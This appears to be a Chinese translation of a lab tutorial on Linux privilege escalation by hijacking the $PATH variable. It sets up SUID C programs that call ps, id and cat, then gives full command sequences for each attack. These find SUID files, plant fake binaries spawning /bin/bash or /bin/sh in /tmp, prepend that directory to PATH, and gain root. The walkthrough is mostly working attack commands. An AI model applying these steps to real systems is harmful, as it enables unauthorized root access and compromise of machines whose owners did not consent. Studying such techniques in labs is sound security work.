本文翻译自:
http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
本文我们会讲解关于Linux提权的几种方法,相信这些方法会对大家有所帮助。通过本文,我们将学习“控制$PATH环境变量的几种方法”来获取远程主机的root权限。
开始吧!!!
介绍
$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的bin和sbin目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。
使用echo命令就能轻易的查看和当前用户相关的环境变量。
echo $PATH
/usr/local/bin
/usr/bin
/bin
/usr/local/games
/usr/game
如果认真看的话,你会注意到环境变量中的”.”,这个点的意思就是已登录的用户可以执行当前目录里的二进制文件或脚本,这对于hacker来说,是非常好的提权技巧。这是因为在编写程序时并没有注意到这一点,因此管理员并没有指定程序的完整路径。
方法1
Ubuntu环境配置
现在我们的当前目录是/home/raj,我们将在当前目录下创建一个srcipt目录。然后cd到script目录中,编写一个简单的c程序来调用系统二进制文件的函数。
pwd
mkdir script
cd /script
nano demo.c
demo.c文件内容如下图,你可以看到,我们调用了ps命令,即系统二进制文件
然后使用gcc命令编译demo.c文件并且赋予编译文件SUID权限,命令如下:
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
发起攻击
首先,你需要先入侵靶机系统并且进入到提权阶段。假设你已经通过ssh成功登录到了靶机上,二话不说,我们直接使用find命令来搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以看到/home/raj/script目录下的shell文件具有SUID权限,如图:
于是我们cd到/home/raj/script/目录下,ls一下,看到了名为shell的可执行文件。我们运行一下这个文件,可以看到shell文件尝试执行ps命令,这个命令是/bin目录下的用来查看进程状态的真实文件。
ls
./shell
echo命令
cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
copy命令
cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
symlink命令
ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami
注意:symlink也就是符号链接,如果目录拥有所有权限的话,也是能够成功运行的。在Ubuntu中,在符号链接情况下,我们已经赋予了/script目录777权限。
因此,我们看到攻击者可以控制环境变量PATH来提权并获取root权限,如图:
方法2
Ubuntu环境配置
重复上述相同的步骤来配置你自己的实验室,现在我们在/script目录下,我们来写一个c程序来调用系统二进制文件的函数
pwd
mkdir script
cd /script
nano test.c
test.c文件内容如下图,可以看到我们调用了id命令,id命令也是一个系统二进制文件
ls
gcc test.c -o shell2
chmod u+s shell2
ls -la shell2
发起攻击
同上,你需要先拿到一个shell并进入提权阶段。假设你已经通过ssh成功登录靶机,使用find命令来查找具有SUID或4000权限的文件,从结果中可以看到/home/raj/script/目录下的shell2具有SUID权限,命令如下:
find / -perm -u=s -type f 2>/dev/null
同理,我们切换到/home/raj/script/目录下,然后运行shell2这个文件,如图,可以看到它执行了id命令,而id命令是/bins目录下一个真实存在的文件
cd /home/raj/script
ls
./shell2
echo命令
cd /tmp
echo “/bin/bash” > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami
方法3
Ubuntu环境配置
重复上面的步骤来搭建实验环境,在/script目录下创建raj.c文件,调用cat命令来读取/etc/passwd 文件,如图:
然后使用gcc编译raj.c文件,给经过编译的文件赋予SUID权限
ls
gcc raj.c -o raj
chmod u+s raj
ls -la raj
发起攻击
拿下靶机shell,准备提权。执行下列命令来查看sudo用户列表
find / -perm -u=s -type f 2>/dev/null
同样可以看到/home/raj/script目录下的raj文件具有SUID权限,切换到那个目录下执行raj文件,如图,给我们显示了/etc/passwd的内容:
cd /home/raj/script/
ls
./raj
nano编辑器
cd /tmp
nano cat
输入/bin/bash并保存
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami
方法4
Ubuntu环境配置
步骤同上,搭建自己的实验环境,你可以看到demo.c的文件内容,调用cat命令来读取/home/raj目录下的msg.txt文件,但是在这个目录下是没有msg.txt文件的。
使用gcc编辑demo.c文件,并赋予SUID权限
ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite
发起攻击
首先要拿到shell,并进入提权阶段。执行下列命令来查看sudo用户列表
find / -perm -u=s -type f 2>/dev/null
可以看到/home/raj/script目录下的ignite文件具有SUID权限,切换到那个目录下,执行ignite文件,实际上执行的是读取msg.txt文件内容,但是由于没有这个文件,所以报错。
cd /home/raj/script
ls
./ignite
vi编辑器
cd /tmp
vi cat
输入/bin/bash然后保存退出
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami